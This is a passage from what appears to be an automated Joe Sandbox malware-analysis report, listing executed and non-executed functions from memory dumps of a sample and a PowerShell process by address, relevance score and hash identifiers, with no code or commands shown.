                                                                                • Opcode ID: 0ac6e0c0602803cb7c1d7cacc52e79ff1a2e3f502a8530865a9bda728a01fa77
                                                                                • Instruction ID: f57e3b1315064819750c540cfd6564788ed05aefc01c26e86c3805d2f01163b8
                                                                                • Opcode Fuzzy Hash: 0ac6e0c0602803cb7c1d7cacc52e79ff1a2e3f502a8530865a9bda728a01fa77
                                                                                • Instruction Fuzzy Hash: B4F0A935B08240CFC7069B39F418A997BE5AF8A325B1980AAE449CB371CB35CD02CB90
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09CB0EF8 Relevance: .0, Instructions: 38COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96681445042.0000000009CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CB0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9cb0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 97010dd2f1c7998d4b48e9571fd1b814abf9864d4ac1ae6d936791d67cee33b9
                                                                                • Instruction ID: c0b6fccf97b6a4b10c6a9fc968816788e81c3b6f305d17317e324cfdd3ef14f3
                                                                                • Opcode Fuzzy Hash: 97010dd2f1c7998d4b48e9571fd1b814abf9864d4ac1ae6d936791d67cee33b9
                                                                                • Instruction Fuzzy Hash: 2FF02831B047519FCB129F25E4113AA7B61EF86330F05519EDA09ABB40CB746C02CBE0
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 0127D730 Relevance: .0, Instructions: 36COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96439036653.000000000127D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0127D000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_127d000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: b4137ae090e2ca854813801a6b3c28bd3bd77e47caad74f1d5483de39d868b74
                                                                                • Instruction ID: bb19948d98cd3306653bbf28a94b768c4ff0fea51a8e12316fa3ce03320f6201
                                                                                • Opcode Fuzzy Hash: b4137ae090e2ca854813801a6b3c28bd3bd77e47caad74f1d5483de39d868b74
                                                                                • Instruction Fuzzy Hash: 88F068714043449AE7148A19CDC4B67FFD8DF81734F14C45AEE094A282C2799844CA71
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09CB0F08 Relevance: .0, Instructions: 33COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96681445042.0000000009CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CB0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9cb0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: bb56485dc45d066b262c60d5183f7ed36ecd7443286a70a5dddd7f2b44a8ea66
                                                                                • Instruction ID: 17dee250f9727bcbe45f9d2318fdeeca9513f46a4bf91bf36616b4f709564c1b
                                                                                • Opcode Fuzzy Hash: bb56485dc45d066b262c60d5183f7ed36ecd7443286a70a5dddd7f2b44a8ea66
                                                                                • Instruction Fuzzy Hash: D6F0BE31B00A26ABCA11AA16E41176AB3AAFF85730F04451DEA09ABB40CB70BC418BD4
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Non-executed Functions

                                                                                Function 09C6A440 Relevance: 2.8, Strings: 2, Instructions: 264COMMON
                                                                                Download Yara Rule
                                                                                Strings
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96680329187.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9c60000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID: $(&{l
                                                                                • API String ID: 0-1403395484
                                                                                • Opcode ID: cefbf3505d19b89b4366312d82e763e8fc2453c99d3c9ae9e724850b0d61f05f
                                                                                • Instruction ID: cafec61f9b74f0d412f20ba5af1c9aff03974cf498fecfee7db373f8b584822f
                                                                                • Opcode Fuzzy Hash: cefbf3505d19b89b4366312d82e763e8fc2453c99d3c9ae9e724850b0d61f05f
                                                                                • Instruction Fuzzy Hash: 1B918D71F006189FDB19DFA9D894AAFBAF6EF88300F158429E405EB350DB359D41CBA1
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F36AA4 Relevance: .6, Instructions: 622COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 67228b93bc0681890a18f3aadf0251dba26d608e7862cb371357daf9db5ca894
                                                                                • Instruction ID: 824f031d10bd95b7273a19a6aa0a76f8bd71e927c872b55adf55387d31325450
                                                                                • Opcode Fuzzy Hash: 67228b93bc0681890a18f3aadf0251dba26d608e7862cb371357daf9db5ca894
                                                                                • Instruction Fuzzy Hash: 50328F70E002548FDB54DFA8C950BAEBBF2AF85304F198469E509EB385DF389D45CBA1
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F382C9 Relevance: .3, Instructions: 277COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 6552c1d4100d8948b02de8237aa4242e12769aae218c53467c9acb468448e366
                                                                                • Instruction ID: ccc281900af107aa82ae88ff148e6e5cffa4d64c76b8d98f1693817e22f2bd98
                                                                                • Opcode Fuzzy Hash: 6552c1d4100d8948b02de8237aa4242e12769aae218c53467c9acb468448e366
                                                                                • Instruction Fuzzy Hash: 62C15AB1E00215DFDF15CFA4C880799BBB2BF89350F18C5AAE409AB255DB34D985CF61
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09C6D040 Relevance: .2, Instructions: 211COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96680329187.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9c60000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 7719ef48e0efcc428a837af36678179955e6197a565e56757e496a88833c71e8
                                                                                • Instruction ID: ae8d2be153c771d95db8f55e10e86681dfd2d813b83647bfc74bc4655698e247
                                                                                • Opcode Fuzzy Hash: 7719ef48e0efcc428a837af36678179955e6197a565e56757e496a88833c71e8
                                                                                • Instruction Fuzzy Hash: C081D172E006098BDB11DFA5D8846EDFBB2FF84350F15C13AD455EB658EB388A1ACB50
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CC209C Relevance: .1, Instructions: 121COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: e9010e64664987d19577d2620dafae6fb005d0677c5871e3ec5ee227756c0931
                                                                                • Instruction ID: b8b5262aec96b4dd3b18a4f4d85a9bf14349d151cb9a98b60a0524ade8ebc4a4
                                                                                • Opcode Fuzzy Hash: e9010e64664987d19577d2620dafae6fb005d0677c5871e3ec5ee227756c0931
                                                                                • Instruction Fuzzy Hash: FA410FB0D043489FDB14CFA9D885A9DFBF1BB4A304F24902EE819AB360D7749945CF95
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CC20A8 Relevance: .1, Instructions: 114COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: d9f8e5afb4e7dbafcbc757140b52dab748c1cfa452d56601848c6525d4293064
                                                                                • Instruction ID: 25d0cdcbd0e41df352de58740e7c3840df50c9dba3b0dd220981c3531131c307
                                                                                • Opcode Fuzzy Hash: d9f8e5afb4e7dbafcbc757140b52dab748c1cfa452d56601848c6525d4293064
                                                                                • Instruction Fuzzy Hash: 2D4100B0D003489FDB10CFA9C984A9DFBF1BB49314F209029E819AB350D7749945CF95
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09C62B90 Relevance: .1, Instructions: 112COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96680329187.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9c60000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 19e72ac1060488f71dbfaa09430eb89a209b8c0cd4010d4431583136760f61a3
                                                                                • Instruction ID: bbab86bfbcc9d7f46d44989d423262b4c425ca11dbf69dc7ab56ab5f4f967256
                                                                                • Opcode Fuzzy Hash: 19e72ac1060488f71dbfaa09430eb89a209b8c0cd4010d4431583136760f61a3
                                                                                • Instruction Fuzzy Hash: CF4178B4D002589FDB10CFA9D984AEEFBF5BB49310F14942AE858BB260D374AA45CF54
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09C62B98 Relevance: .1, Instructions: 108COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96680329187.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9c60000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 6e8e21201b11fae751724c78f6b8b73428821070ecbce77ae332012dd0d64609
                                                                                • Instruction ID: b19843ee9296509ba8673d68b38b7efa1c6dd4158e52e7d0968a2d951ddb2142
                                                                                • Opcode Fuzzy Hash: 6e8e21201b11fae751724c78f6b8b73428821070ecbce77ae332012dd0d64609
                                                                                • Instruction Fuzzy Hash: EB4187B4D002589FDB10CFA9D984AEEFBF5BB49310F14902AE818BB360D374AA45CF54
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09C66DB8 Relevance: .1, Instructions: 53COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96680329187.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9c60000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: eb57209fb7387f77aa0e86fd76673ecf9ec57d2e0702b657e2877f7184cab472
                                                                                • Instruction ID: 0cf4564c1100b682b6e8ee99204424b225f0b0b312f6f363ee6bba7957cfe6d1
                                                                                • Opcode Fuzzy Hash: eb57209fb7387f77aa0e86fd76673ecf9ec57d2e0702b657e2877f7184cab472
                                                                                • Instruction Fuzzy Hash: 3F01F736D042155BCB215E5CE6806EEF375EF863A0F0A0022ECD967230C3216D218BE1
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Executed Functions

                                                                                Function 00007FFBCEBD4073 Relevance: .2, Instructions: 184COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92054078417.00007FFBCEBD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCEBD0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbcebd0000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 8bf5b6fd6b5475f4a0c817539c9bfa4e12d3870beeb937d58b7536a927874935
                                                                                • Instruction ID: f8c0c7c56aac0169908d68fa2dacae791612254001d0c779006185368703c708
                                                                                • Opcode Fuzzy Hash: 8bf5b6fd6b5475f4a0c817539c9bfa4e12d3870beeb937d58b7536a927874935
                                                                                • Instruction Fuzzy Hash: FA512966A0CACA8FE799DF2C9891276BBD1EF95220B1801BED14DD7287DE14ED058381
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 00007FFBCE9EEB80 Relevance: .1, Instructions: 126COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92048408263.00007FFBCE9ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCE9ED000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbce9ed000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 142473b13e415958f064aa8da0aa3ccec7370b6cf656b0beaaceb0495cbb1cd1
                                                                                • Instruction ID: 344952df624241428ef22421fee5e0c6d298608cc8c0251cc413d185d8d6b049
                                                                                • Opcode Fuzzy Hash: 142473b13e415958f064aa8da0aa3ccec7370b6cf656b0beaaceb0495cbb1cd1
                                                                                • Instruction Fuzzy Hash: 0241167180DBC48FE7568F39D8859623FF0EF52224B1905EFD089CB1A3D665A806C792
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 00007FFBCEB09A70 Relevance: .1, Instructions: 121COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92051531542.00007FFBCEB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCEB00000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbceb00000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: eb8a20edd24488089098bd793209d2b7d8da22ace67f33dad21b5a8ef495171a
                                                                                • Instruction ID: 7c857c2d75b5ec94cf95bb88528b98f17d8e11b10c2cfb179310dd53dab111ac
                                                                                • Opcode Fuzzy Hash: eb8a20edd24488089098bd793209d2b7d8da22ace67f33dad21b5a8ef495171a
                                                                                • Instruction Fuzzy Hash: 1531C47191CB888FDB589F5C9C466A97BE0FB99311F00426FE449D3252DA60A855CBC2
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 00007FFBCEB0A198 Relevance: .1, Instructions: 104COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92051531542.00007FFBCEB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCEB00000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbceb00000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 1e4edcfc75cd48bd4d50fb7f958a7d74faf5b22dcfb45c47a9989e64797a58a3
                                                                                • Instruction ID: 3f2efc95149296a05b144afe3e5fd928adcb11806fee1bf865360197cfcc7984
                                                                                • Opcode Fuzzy Hash: 1e4edcfc75cd48bd4d50fb7f958a7d74faf5b22dcfb45c47a9989e64797a58a3
                                                                                • Instruction Fuzzy Hash: F021287190C64C8FEB58DFAC988A7E97BE0EB96320F00426FD048C3152DA70A456CB91
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 00007FFBCEBD40BF Relevance: .1, Instructions: 97COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92054078417.00007FFBCEBD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCEBD0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbcebd0000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 1ce1ead2410f25e6018264ab048f611834c194d61461ec18935ee397ac9354a3
                                                                                • Instruction ID: fe2b9f072c7cdf04fc1e1e9f4dea408eb19db63270708c2033484055a8b739ca
                                                                                • Opcode Fuzzy Hash: 1ce1ead2410f25e6018264ab048f611834c194d61461ec18935ee397ac9354a3
                                                                                • Instruction Fuzzy Hash: AE21F7AB90DAC78FE7A5DF2C88D1136ABD1EF54210B4900BAD08DE719ACE18DD058341
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 00007FFBCEB06DF9 Relevance: .1, Instructions: 79COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92051531542.00007FFBCEB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCEB00000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbceb00000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 1fbc25ba6e6d8fb1f34d2ed2196cba3486eb2618effe332117893ecce999be2b
                                                                                • Instruction ID: b561897f80f4e4bcf112633d9f3d00e8fe87a7c910b27083b9167e9218237b03
                                                                                • Opcode Fuzzy Hash: 1fbc25ba6e6d8fb1f34d2ed2196cba3486eb2618effe332117893ecce999be2b
                                                                                • Instruction Fuzzy Hash: 7A21FA71A1891E8FDF84EF58D485EAD77A1FF69700F140169E409E7286CA24FC82CBC1
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 00007FFBCEB033A5 Relevance: .0, Instructions: 49COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92051531542.00007FFBCEB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCEB00000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbceb00000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: b35252b21a79c2b248cb1d1351296b29f30c4ce6b33a107014b51615f6a709f9
                                                                                • Instruction ID: 4cab29616cbc5a05f96c8aa833b9eade14d73598781fd7b871cb22ba0bb194d4
                                                                                • Opcode Fuzzy Hash: b35252b21a79c2b248cb1d1351296b29f30c4ce6b33a107014b51615f6a709f9
                                                                                • Instruction Fuzzy Hash: 3D01447111CB0C8FD744EF0CE491AA6B7E0FB95324F10056DE58AC3691DA26E881CB45
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 00007FFBCEB09FD8 Relevance: .0, Instructions: 39COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92051531542.00007FFBCEB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCEB00000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbceb00000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: b08882d9d886db3710eeb2f2aeef3435c0d8305d767ff04c01ffa1042e1b1b41
                                                                                • Instruction ID: a5d690ac444ae9190f868d56db4c9b542fe033afa695e834207e733efc92bc16
                                                                                • Opcode Fuzzy Hash: b08882d9d886db3710eeb2f2aeef3435c0d8305d767ff04c01ffa1042e1b1b41
                                                                                • Instruction Fuzzy Hash: ABF0B4748086898FCB07DF28C8199E67BA0EF56310B05029BE49DC70A1DB34A554CBD2
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 00007FFBCE9EEC99 Relevance: .0, Instructions: 27COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92048408263.00007FFBCE9ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCE9ED000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbce9ed000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: e4b98074075fc7b7e2b7f7a67644825a4b1a94b3d82cba625aa069894016d20e
                                                                                • Instruction ID: 1b0ff1f35b5f030358de76d5ca0b7d340b58e4df06c4a15af9b57e867cec5168
                                                                                • Opcode Fuzzy Hash: e4b98074075fc7b7e2b7f7a67644825a4b1a94b3d82cba625aa069894016d20e
                                                                                • Instruction Fuzzy Hash: 79F0397050DD09DFCA95EF29C586D267BE1FF68300B1004A8D14ECB652D6B9F881DB81
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Non-executed Functions

                                                                                Function 00007FFBCEB08A62 Relevance: 6.4, Strings: 5, Instructions: 116COMMON
                                                                                Download Yara Rule
                                                                                Strings
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92051531542.00007FFBCEB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCEB00000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbceb00000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID: U_^$U_^$U_^$U_^$U_^
                                                                                • API String ID: 0-1306880191
                                                                                • Opcode ID: aff1a35820b87a124db4f4ceb3030dee01eb7736d5e715ca808037a2242a712b
                                                                                • Instruction ID: d13209ff483026738ebd106bc40edd26c8002dff1957b25b1d1142299f194ea3
                                                                                • Opcode Fuzzy Hash: aff1a35820b87a124db4f4ceb3030dee01eb7736d5e715ca808037a2242a712b
                                                                                • Instruction Fuzzy Hash: 2B31A7C7A0DBC74FE3190A7898E61B66F90EF62255B0D02B2D0C89E8D3AD5D3E078191
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 00007FFBCEB08B6A Relevance: 5.2, Strings: 4, Instructions: 158COMMON
                                                                                Download Yara Rule
                                                                                Strings
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92051531542.00007FFBCEB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCEB00000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbceb00000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID: U_^$U_^$U_^$U_^
                                                                                • API String ID: 0-552238464
                                                                                • Opcode ID: 631ec49ad680b743313ee4c072abaa22deb9baf8e6692b91dd9f6391bad28d13
                                                                                • Instruction ID: 85637742bf7724300f8319f130e2fde53e3e39e8fe474d50deec44d9775a2d77
                                                                                • Opcode Fuzzy Hash: 631ec49ad680b743313ee4c072abaa22deb9baf8e6692b91dd9f6391bad28d13
                                                                                • Instruction Fuzzy Hash: 8351A6C790F7C24FE7664AB85CD91766FA0AF22251B5C00FBE0C46A197EC097B068395
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 00007FFBCEB08A43 Relevance: 5.1, Strings: 4, Instructions: 130COMMON
                                                                                Download Yara Rule
                                                                                Strings
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92051531542.00007FFBCEB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCEB00000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbceb00000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID: U_^$U_^$U_^$U_^
                                                                                • API String ID: 0-2324841306
                                                                                • Opcode ID: 5b56fc386913dc08720ee4374e0c7e72447ce760e49ae6ac85e7ccd815d2fb2f
                                                                                • Instruction ID: 9b02d414324f91537263c48a6c6eb633083d41e64becc0e135c8d5d1cf338fd5
                                                                                • Opcode Fuzzy Hash: 5b56fc386913dc08720ee4374e0c7e72447ce760e49ae6ac85e7ccd815d2fb2f
                                                                                • Instruction Fuzzy Hash: F33196D7A0DBC74FF3590A7898E61B66F90EF62255B0D12B2D0C86E8D3AD4D3E078191
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 00007FFBCEB0896A Relevance: 5.1, Strings: 4, Instructions: 101COMMON
                                                                                Download Yara Rule
                                                                                Strings
                                                                                Memory Dump Source
                                                                                • Source File: 00000006.00000002.92051531542.00007FFBCEB00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBCEB00000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_6_2_7ffbceb00000_powershell.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID: U_^$U_^$U_^$U_^
                                                                                • API String ID: 0-552238464
                                                                                • Opcode ID: 75f648b2ad44c4b7f10827cdf4b22871908bab64e3b8f64a63d567bc28d290ba
                                                                                • Instruction ID: 5180325d2f6e95f8927a2fecdc2c67f8d19f1ca8b26eca1ff73bab90d98edd7f
                                                                                • Opcode Fuzzy Hash: 75f648b2ad44c4b7f10827cdf4b22871908bab64e3b8f64a63d567bc28d290ba
                                                                                • Instruction Fuzzy Hash: 8E3173D7A0D7D65EE3165A7898F60A62F90EE1325570911F7D4C89E4A3EC0C39068266
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%